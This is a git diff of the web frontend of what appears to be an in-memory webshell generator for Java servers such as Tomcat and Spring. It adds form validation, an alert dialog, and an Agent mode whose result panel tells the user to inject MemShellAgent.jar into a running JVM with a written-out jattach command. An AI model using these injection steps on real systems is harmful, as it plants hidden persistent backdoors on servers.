zf3V$x?Liyg{%+p8;hz;=zO-uGPg&OE!UlL1|9))T&LK%I>lSrhHmh65b~d}Viox{a zS0DBLL>VQ!uqKk7{^-ojU8A?XVW0ZLXYUTUeLg7d?8K-C8S{_(Y^}MsNmlZ-Der9g z*yCj*_i6lH=d#gWQ|(e_$mL;M*EzrBkW~End(R}>U#zT!WTR^#SvJw$f6wL1Ij*ON z4lC=hA++``|KJM4#d#YZ#(vWGepb(4e_CK}u~1l0^{&Y_O1R07FDFKv>y8{e=zG zDZ;i6ia#h@u*uP}C`+ zrxVqc1lviFCzvzU)rsor3_*b?f`CmEvJ2ow!aCJa z{nMl@V4WQhziJ@4to~6KKCAE8)0o{c7;d%NvAHSpV{FBa(q?Rj1sQqhf6H(ZZ*}l~ zKA%=f{V!BvqVax`66B0*#pE{3ipe_){n+n}iW6Ww)?X`$i42@Q2dKZMACjKtjXwob zp0JcZst`p@S${IAUsZnkkM5PE=NJqZ(nN!{Y^`zND17Xo{HrVZ%OmhNX>CzHuN`Lt zF?%={ja5GDC}q}v&|eN&Em7vi+UUjgZO7Uej6dK@xU9(K!D*SJQjkoENDhJ7g~s@; zw3SD*9S9sW{Qr9|G}LG|9Rm(m@7Kk(*I9Vplc(xMvKVD7s-LHx<*7rj&<$6tWX>(IQQj4jC1gz82BPU`m5NdolVE4Sfrv-4R8| z(jwDmrzM(fv?j}c9RXa?bH%`!>@)Gx8?0g81!P|e`WbW)^b6<`=rV|!>?-Iw=mzK} z=oaWU=nm*Es0>6ezG?5B4jKi@1SNt7f|5XkK*^xNAbN4y1w_x0(FRm1#vn50uqI;3 z9OjlsU%qOAtU>fp{uo4?zo%4k$QZ}~ss=g-*?G`cpl?9*nQsp0P0)N$A&7$(fCOj} zXfbFBXeo$3kX{7+0=fjcOs|HoAaEXZ40IesugkWIrL&o19=)Xg3i+l%G!m2!$^g-x z+8J~Vy5k`FqOlIN9<%|p2~-672(%Tn4Rips4740X&h;xO1(XUJ21-P_13`m8eL($) zjYXg@C=z4>wFlArQtK%St+ATLl8P*YGdP;*cVP)krNP-_qkti~WOP)ks2 z5PdbJ!9#zxxdyZrL?5?r&|o@+zzNWgpp&3)K}SIJ`+!}buaW30z|o+MpiQ6;KnEe; z4f+`L38)zKJ7_p)2=qfi^p3qJr~ot#^eTu3=XB8Ppvh7jNx~GVe5o!%sXhYH$Kr1w z`vUYO=m6*-=n!a+cs!Rm#$oP7swG*8&nJS)`V=wNAuXd>b7Sf$O7F1k@Bo4S;+j2 zWeEC<6v3h_&m(wF5+4aR(D(r1`@(u5>))>~Qn3Zq0oj0Po^u9KA|!VJ*@NnV=obv6 zr#NAtcu*+FALIve0y%@s1rUEMWH0B@AGf-I=!XpS1R4yYA2S4iNEQSN)WW(AVNVd{ z69u9Lfclvh2i=BNk1n82pjZ&CRGI^RB+0C0H{AmTf!9>*bst55dKvvlffi` z{2?18%HC!DTMq#{7^IhR3c`~?dOms{ieBU{X0COoL0tffUW6O2mv4w=i&=|2v`7A` zCF$!&?{Bi%%8*V+FXX7LgxzF*%=V4JpMN^LyIJFfxHX|EZ1c(+O}2*zn>9Yrz@744 z?7eIYJbN86Yr>#u0L}4Q>pborXl7y7yn+T-{_b+-uC>RV#vf~CR*ith9g)r%CxxEa zUw@lfLz4q`!1*=aX*+Xr>!ERG4UJVQ!mq8j-~YCyBxE5B9C=_!NF8hsbr%p$E$lw2{vtl5h=^$>@DKl6Cs z!99u%m2G+q8tjYmKfHA{^mfK8A1InUrMa&`RUfKwhl_Ka?3>jwN3uk3*+a9w)wJ2Y z9=J9!YiOjpLi5`4z}F9LJn)5CL#~bwz4Uu5IlWw=rujK||&K?Vi)_kq$ZS z&6+3BP@_8aHag^yXKpR4hK_vWKE{%vNPHTsDhH&14Jzn<;7-K^2i?AV+lYCnGC zxQAIY4H=O;jyC4TCYPO9X4a_3-aywn@ZycAj(H`ODp9ta)nj#qaRvJkkJV>a;MsP( zICC11FKkx=W{Z{pSLH+-B%VDh`pLF6jVBw}KwoeChs9JBo`KzZ@djeK>Ic%y9y4N3 zV$8KKVdwAdNMVnR3A5ZH;2*wMsip8ly2l4wV7W6NQHd(~2Mwa@aIcsLE@NCg-RRppOP|LJR z6s%@(hTGM}(bde!RX>gA)h#LCwg~QCtW?s+I|xr&qS|}Ny}bx}kHxvt={hu7)L2@2 z`nBp8{bA>)HpYIj90shLC|t+v8v0ZF=qKxh-~Y7eaGkcpVH~6y*AyOW&~k|)6yU0# zoHJ+Wf}-8051m&M_3_5~(nMsE-Fh)=4azWE>{){{U#Tr>twot}(2nBaGpaXV7PtDN zbxN6iy@N3?2-8|bJ1qLGWs6<)1ACUezU!s+k87_ru&LDSNd8k{vkrE9Me}t?K1L)G zr`Es{)xzeRYC{G}2kPg{EVkcq-DUdjk;u@;+n*AeEzVO4T+~~SHh51YuScwrViLer zKf)(|)``sxUXH1OSkwnd{Z;Ydde%}t0{5hms@jV`)-xAZ{mh+DUA!!JB@McONN7^Z zs*&*BfW%vhSb(d3{*QCry6L?=ZNAs+;B=iu9vSEd0`-`hzWb-5t(#yFqxP5<@#!#V2LlwnR2-wMMu{6_Hy`=bK~|3{CJq1W3bj0Uz55}H=^1B3c}ceC-t%sTy)ENCD}*I{7|3*Q=L zH(GSIvoNp|kkIt4oj#P`t<7hvoDc7}LmX`=j1nu69a|ypyw4mOAQAl_qgU9HGo621 zo(0pkY84e5=Ro}+qMJis>2o&h(~epd5mi6)Xj7)|w)ERWmO-OU0{7fR#3p#He(2G$ zmp2~m@?iNTcq2_G0eEr~qc88AVtXf%fa`csJ}^*q zLuabExo$-T)d z#8Viy)emNBxnanqU&pRqZ8p%4aOz&XY@5puz0;r}w?WjMB5sQ^e-#j{5!(qyifdai z`t4e&r-HmL>KCE$ga|5PEo-cVl=cF*T8Z=`=H#Xy&~$bEY?~7&Ea8&Dt<~WJixsfI z8{Xm~q#7q~A%5G7-pWtns^~gh^XH|$4x+|=#4=e&vF9Ur(x3M!b;y%~;Yz-XMcGH_ zFa0Q|!_4+{_xG<>C{60`?N95SX)CIN>31tiq^0KxC#Au?wPS;(>yPJ=yTR+JbwWhR zRus7l44PHxZMx>KMeZUzwlNR(iFj!nO{B=17N<1faRm8K7KPgY3q{#Jz=xvbYrs)) zo`gS(W1pkf9|eev<7m9vqV;x2n~0Ui0VyJxIFs<8h$&*_7tC2~-p)FEzSb5mTdFLh zu2GW^J|Dl3wVIQdU-ClMYK26=4%P~9*^_rLe_79Vs3_QjLWb;PF5>78R`<_(tu1`S zD5^`HT`=2nh_!On*q#vbKt42zM+i>^a3{2ZaNzeC_ zmXTT^rsjta9g#cH6*GnJQNRi@b|*`EfvnA?ZB^M)D@3PVtka*{=RfPVB++HJ;@MMn zqh|UcU>myEKeptpdu&pUlRQTPqYsyO|Nw5^u(bipu?o*!#}&gi*nX*s;O=T+$*|JlHK zzLm8JK`WIu%IAnlpP?R#hb6su;r=tf5#sCp$mB(uPMfaQ33r;2_KT&|%2iKZT1B*3 zOB*;!wOo|p&a}Fz6B#=v&ZDCZ*V>DUZ`i=_e=!4SlU+=tI&*)%*yoE!)2zJU-+tKk z;@KcsjQ$cU!8jPy!K@gxr}~avZru-r;XZ#KQ`6`t8XA5aoi8H&S}J8x7Gb5Z4r1&< z)&-x?_Z`H#p(Nhv+3YlDd(LBNR_*-aE>V@URgQ?iA9K!nH>oc80;B#v^S!Eyr8$(V zeyHE>*7qX=m+qfwVDwOjEh!$rloj#6IxGAKu3cqwJ@4qxyYmY)Ta^v*d`4Bx2``Xx zoS5?+YiU$=bi(%>a}_7PV}n^e@!>fZYVeH~H_tIYLwK}kc%Hp$m=`TN|G@kL^#cia z**Vlrd~?w>3l`w**N(RA`jLg(pWeJz!{xA-S#vyEZ2ke;TK$m26Mnm%zHtvf_^FI* zElPjDxM?YV2e|2nB(}RdseA1@Gme?<(z*zr6U-@4KUVS4z(rF7mK=U+w$Kk=yd3Fe z_3)*RpPMyDx`?TW>#85s7}WHGc7DGf?QFKFBZ^L7t_g?{M_}ltANFXf-ZOQ~%tJ%X zh9hI%`4OeiPlucqyL{x04K=!&4OYdd+hm)ckNLLxueFQvMy@%+0b<}5O&FFY>_dK(Ahmn3nol`}HZ~WoF6tmIdcyW|6 z&=05c>F{pS4oe$@*C6HeHWMml}$g7@BPkciDOJnmzZtBdWjWCKTtn-uSMNv{%p?0 zm1Yb5OuzI&tDc@HERHm5rt}iGDXxCF-j#Q9?yWTay31^#A8pxcq+|8_`$wQ-^(OtK zmk2wBS5;s267x%$y%B{h?Ip4xYO9~wS8}OveLcsh-^`Kp6EzS1n(sdOy*}KmaTR+` z!CSqB?a$1C64PFVi5jO_fc8F4ynLFu=x^$jcW!a|3p@2qo&K8U?_b0%5HFp zqeq|oqO8bBqMfuPQTUx@er>DFM0vQ^f4!2q@LQXyGrNj9%yOXmgzhPl?lAj?v~%@N zg43ZkUu|`dF^%Z*Dl!Q2_G^oGYrT`iH)qlDlas`jYruI)!f=kYFf2|I-sf2U-%WP0 z@nZLRl>BdoBKFGaP;_$pn{fyWbsX9o5!@0lA}+vn|7PI9LO*%(GwF6zlWT_dny*1~ zD_+b+T-U!Dc(70gp0nHEj5-*oqfRMFuU?{dDN6D;!wkmy*_eYJ{*Z0l?S3_vq_CG5 zfVgh@DVQ@YHVsd*4VhrJP=}Y3K^Xl{DdtyVopsN zUe1P;VekCH>_q#YnT28WFwy=Bv$LdEy;FyYK|iA^`mv|sUs^TmWpw~QWNd+*0A2cl zsr3tEGKQ?+$+w$OhGTI6@r+N&-%L$=%6a4I|Yzg;77JcWP0xgWg`l zT}e|%6kf%|;x0ljEAvaiFIbKuMv5iBps@N8t2eH``);o``@3qx2u+zhQXC}<{pi+y z6W`nO(Ei+JbHZ4kFxF7(k0@)F#FaC{zP#S^T|9+P4fOV-f(^(KlQC84 zk+qpC@UPAcrwR0KhhK=`b2%;NwchH~+xE4SQAz^`(0+KqF!6+Dy__83be*MQ!J-DQ z=8w*%xzmzd?%8H|Ge>-L9e(5v2c<7zE{{gt+7R1lw%%m{T0=GPm-MrH6Nh&Bah+7& z0w&t~wu3q1<_%T`o-7&N)dpWoEkRmKzzZZa1`z&H_d6C2O`aU$a; z#&?w)CFO%nmAe#0gQ;pa;<{Ej`zRL5sDH{Et-&Gr?j<{{*bzGU86b*J1 z5w}pfDyJ{SqRO>H(agY@`|}uSk(p~u4|PGl@hm!c=I-1ZdbW}C%g{L_ zZg_4u_`B+7Aiu)4?e4Pwtx$N94;&l2D#c5k^{Epd=>nyyJ(Hg9)rrTFjGoKDnHk0J zn3Y{!^VMOp>9j-Jl3%;wp#l!8JT>}?Hg{2{Xc*9EYg6kDRwGU~xMMaLq-l-?Ztbw| zn|lMznhE)0>Rsj(Q3wlKNOr!P;uN)D#D25ICTQqq1byCYKW%f&&z@$@`WsB5YyC~} z{aw}(pVe}b)6&PMWekn#f4s@LYkiI3h?#Y{Kt{&R|fTc#* z*me;OeZ`i=Sh=F_u~IQN*kH9I?mipXrW&5BMQKMvBXPH}!Aktt$lz{4uhe&xH!>V| w*ijH-=+%n(i62r8LX~F@GxTI?aQ|?_ChMAmv|RANdl5-9S!1zcoMFNL0e3Y!5&!@I diff --git a/web/package.json b/web/package.json index 537b8699..b3a4ff40 100644 --- a/web/package.json +++ b/web/package.json @@ -13,8 +13,8 @@ }, "devDependencies": { "@biomejs/biome": "1.9.4", - "@tanstack/router-plugin": "^1.92.11", - "@types/node": "^22.10.2", + "@tanstack/router-plugin": "^1.93.0", + "@types/node": "^22.10.3", "@types/react": "^19.0.2", "@types/react-dom": "^19.0.2", "@vitejs/plugin-react": "^4.3.4", @@ -28,6 +28,7 @@ }, "dependencies": { "@hookform/resolvers": "^3.9.1", + "@radix-ui/react-alert-dialog": "^1.1.4", "@radix-ui/react-checkbox": "^1.1.3", "@radix-ui/react-dropdown-menu": "^2.1.4", "@radix-ui/react-label": "^2.1.1", @@ -39,14 +40,14 @@ "@radix-ui/react-tabs": "^1.1.2", "@radix-ui/react-tooltip": "^1.1.6", "@tanstack/react-query": "^5.62.11", - "@tanstack/react-router": "^1.92.11", - "@tanstack/router-devtools": "^1.92.11", - "react-copy-to-clipboard": "^5.1.0", + "@tanstack/react-router": "^1.93.0", + "@tanstack/router-devtools": "^1.93.0", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", "lucide-react": "^0.469.0", "next-themes": "^0.4.4", "react": "^19.0.0", + "react-copy-to-clipboard": "^5.1.0", "react-dom": "^19.0.0", "react-hook-form": "^7.54.2", "react-syntax-highlighter": "^15.6.1", diff --git a/web/src/components/main-config-card.tsx b/web/src/components/main-config-card.tsx index 5b9e5e8a..deea9443 100644 --- a/web/src/components/main-config-card.tsx +++ b/web/src/components/main-config-card.tsx @@ -1,4 +1,14 @@ import { UrlPatternTip } from "@/components/tips/url-pattern-tip.tsx"; +import { + AlertDialog, + AlertDialogAction, + AlertDialogCancel, + AlertDialogContent, + AlertDialogDescription, + AlertDialogFooter, + AlertDialogHeader, + AlertDialogTitle, +} from "@/components/ui/alert-dialog"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; import { FormControl, FormDescription, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx"; import { Input } from "@/components/ui/input.tsx"; @@ -9,6 +19,7 @@ import { Switch } from "@/components/ui/switch.tsx"; import { FormSchema } from "@/types/schema.ts"; import { MainConfig } from "@/types/shell.ts"; import { ServerIcon } from "lucide-react"; + import { useState } from "react"; import { FormProvider, UseFormReturn } from "react-hook-form"; @@ -33,6 +44,8 @@ export function MainConfigCard({ const [shellToolMap, setShellToolMap] = useState<{ [toolName: string]: string[] }>(); const [shellTools, setShellTools] = useState([]); const [shellTypes, setShellTypes] = useState([]); + const [openAgentConfirm, setOpenAgentConfirm] = useState(false); + const [currentShellType, setCurrentShellType] = useState(""); const handleServerChange = (value: string) => { if (mainConfig) { @@ -121,7 +134,17 @@ export function MainConfigCard({ render={({ field }) => ( JRE(可选) - { + if (Number.parseInt(v) >= 53) { + form.setValue("bypassJavaModule", true); + } else { + form.setValue("bypassJavaModule", false); + } + field.onChange(v); + }} + value={field.value} + > @@ -224,7 +247,39 @@ export function MainConfigCard({ render={({ field }) => ( 内存马挂载类型 - { + if ( + v.startsWith("Agent") && + Number.parseInt(form.getValues("targetJdkVersion") as string) === 50 + ) { + setOpenAgentConfirm(true); + setCurrentShellType(v); + } else { + field.onChange(v); + } + }} + value={field.value} + > diff --git a/web/src/components/shell-result.tsx b/web/src/components/shell-result.tsx index c158b2cb..5585281b 100644 --- a/web/src/components/shell-result.tsx +++ b/web/src/components/shell-result.tsx @@ -4,17 +4,64 @@ import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert.tsx"; import { Button } from "@/components/ui/button.tsx"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; import { Label } from "@/components/ui/label.tsx"; +import { Separator } from "@/components/ui/separator.tsx"; import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx"; -import { downloadJavaClass } from "@/lib/utils.ts"; +import { downloadBytes } from "@/lib/utils.ts"; import { GenerateResult } from "@/types/shell.ts"; import { TicketsIcon, TriangleAlertIcon } from "lucide-react"; +function AgentResult({ packResult, generateResult }: { packResult: string; generateResult?: GenerateResult }) { + return ( +
+
    +
  1. + 下载 MemShellAgent.jar + +
  2. +
  3. + 下载 Jattach 工具(后期考虑直接封装在 Jar 中) + +
  4. + +

    使用方法:

    +
  5. 将 MemShellAgent.jar 和 jattach 移动到容器中(如果测试环境使用容器部署)
  6. +
  7. 获取目标 jvm 的进程 pid (使用 jps 或 ps)
  8. +
  9. 执行命令进行注入:/path/to/jattach pid load instrument false /path/to/agent.jar
  10. +
  11. 尝试连接测试
  12. +
+
+ ); +} + export function ShellResult({ packResult, packMethod, generateResult, }: { packResult: string; packMethod: string; generateResult?: GenerateResult }) { const showCode = packMethod === "JSP"; + const isAgent = packMethod.startsWith("Agent"); return ( @@ -31,7 +78,7 @@ export function ShellResult({ 注入器类 - {generateResult && ( + {generateResult && !isAgent && (
)} - + {!isAgent && ( + + )} + {isAgent && }
@@ -71,14 +121,17 @@ export function ShellResult({ )} - + {generateResult && ( + + )} )} - + {generateResult && ( + + )}

当使用 Servlet 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用

当使用 SpringMVC ControllerHandler 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用

+

当使用 SpringWebFlux HandlerMethod 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用

+

当使用 SpringWebFlux HandlerFunction 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用

diff --git a/web/src/components/ui/alert-dialog.tsx b/web/src/components/ui/alert-dialog.tsx new file mode 100644 index 00000000..6dfbfb49 --- /dev/null +++ b/web/src/components/ui/alert-dialog.tsx @@ -0,0 +1,104 @@ +import * as React from "react"; +import * as AlertDialogPrimitive from "@radix-ui/react-alert-dialog"; + +import { cn } from "@/lib/utils"; +import { buttonVariants } from "@/components/ui/button"; + +const AlertDialog = AlertDialogPrimitive.Root; + +const AlertDialogTrigger = AlertDialogPrimitive.Trigger; + +const AlertDialogPortal = AlertDialogPrimitive.Portal; + +const AlertDialogOverlay = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + +)); +AlertDialogOverlay.displayName = AlertDialogPrimitive.Overlay.displayName; + +const AlertDialogContent = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + + + + +)); +AlertDialogContent.displayName = AlertDialogPrimitive.Content.displayName; + +const AlertDialogHeader = ({ className, ...props }: React.HTMLAttributes) => ( +
+); +AlertDialogHeader.displayName = "AlertDialogHeader"; + +const AlertDialogFooter = ({ className, ...props }: React.HTMLAttributes) => ( +
+); +AlertDialogFooter.displayName = "AlertDialogFooter"; + +const AlertDialogTitle = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + +)); +AlertDialogTitle.displayName = AlertDialogPrimitive.Title.displayName; + +const AlertDialogDescription = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + +)); +AlertDialogDescription.displayName = AlertDialogPrimitive.Description.displayName; + +const AlertDialogAction = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + +)); +AlertDialogAction.displayName = AlertDialogPrimitive.Action.displayName; + +const AlertDialogCancel = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + +)); +AlertDialogCancel.displayName = AlertDialogPrimitive.Cancel.displayName; + +export { + AlertDialog, + AlertDialogPortal, + AlertDialogOverlay, + AlertDialogTrigger, + AlertDialogContent, + AlertDialogHeader, + AlertDialogFooter, + AlertDialogTitle, + AlertDialogDescription, + AlertDialogAction, + AlertDialogCancel, +}; diff --git a/web/src/lib/utils.ts b/web/src/lib/utils.ts index 853fd206..6b43cf07 100644 --- a/web/src/lib/utils.ts +++ b/web/src/lib/utils.ts @@ -6,9 +6,9 @@ export function cn(...inputs: ClassValue[]) { return twMerge(clsx(inputs)); } -export function downloadJavaClass(base64String?: string, className?: string) { - if (!base64String || !className) { - toast.warning("内存马字节码为空,无法下载, 请先生成内存马"); +export function downloadBytes(base64String?: string, className?: string, jarName?: string) { + if (!base64String) { + toast.warning("字节码为空,无法下载, 请先生成内存马"); return; } const byteCharacters = atob(base64String); @@ -19,12 +19,12 @@ export function downloadJavaClass(base64String?: string, className?: string) { const byteArray = new Uint8Array(byteNumbers); // Create a Blob from the byte array - const blob = new Blob([byteArray], { type: "application/java-vm" }); + const blob = new Blob([byteArray], { type: className ? "application/java-vm" : "application/java-archive" }); // Create a download link const link = document.createElement("a"); link.href = window.URL.createObjectURL(blob); - link.download = `${className.substring(className.lastIndexOf("."))}.class`; + link.download = className ? `${className.substring(className.lastIndexOf("."))}.class` : `${jarName}.jar`; document.body.appendChild(link); link.click(); diff --git a/web/src/routes/index.tsx b/web/src/routes/index.tsx index 30e7c810..1647b2f3 100644 --- a/web/src/routes/index.tsx +++ b/web/src/routes/index.tsx @@ -57,15 +57,46 @@ function IndexComponent() { const [packMethod, setPackMethod] = useState(""); const [isActionPending, startTransition] = useTransition(); + function customValidation(values: FormSchema) { + if (values.shellType.endsWith("Servlet") && (values.urlPattern === "/*" || !values.urlPattern)) { + toast.warning("Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet"); + return false; + } + + if (values.shellType.endsWith("ControllerHandler") && (values.urlPattern === "/*" || !values.urlPattern)) { + toast.warning("ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller"); + return false; + } + + if ( + (values.shellType === "HandlerMethod" || values.shellType === "HandlerFunction") && + (values.urlPattern === "/*" || !values.urlPattern) + ) { + toast.warning("HandlerMethod/HandlerFunction 类型的需要填写具体的 URL Pattern,例如 /hello_handler"); + return false; + } + + if (values.shellType.startsWith("Agent") && values.packingMethod !== "AgentJar") { + toast.warning("Agent 注入方式当前仅支持 AgentJar 打包方式"); + return false; + } + + if (values.shellType.startsWith("Agent") && values.targetJdkVersion === "50") { + toast.warning("Agent 注入方式当前仅支持 Java8 以上"); + return false; + } + + if (!values.shellType.startsWith("Agent") && values.packingMethod === "AgentJar") { + toast.warning("Agent 注入方式当前仅支持 Tomcat,只有 Agent 注入方式才可使用 AgentJar 打包方式"); + return false; + } + + return true; + } + async function onSubmit(values: FormSchema) { startTransition(async () => { - if (values.shellType.endsWith("Servlet") && (values.urlPattern === "/*" || !values.urlPattern)) { - toast.warning("Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet"); - return; - } - - if (values.shellType.endsWith("ControllerHandler") && (values.urlPattern === "/*" || !values.urlPattern)) { - toast.warning("ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller"); + if (!customValidation(values)) { return; }